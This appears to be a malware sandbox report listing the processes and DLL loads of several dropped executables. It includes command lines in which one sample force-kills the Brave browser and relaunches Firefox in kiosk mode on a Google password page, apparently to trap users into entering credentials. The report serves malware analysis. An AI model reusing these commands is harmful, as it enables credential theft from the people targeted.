Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c442008-3ced-412d-9347-f3234b6d38f2} 7272 "\\.\pipe\gecko-crash-server-pipe.7272" 19c1ff6f310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
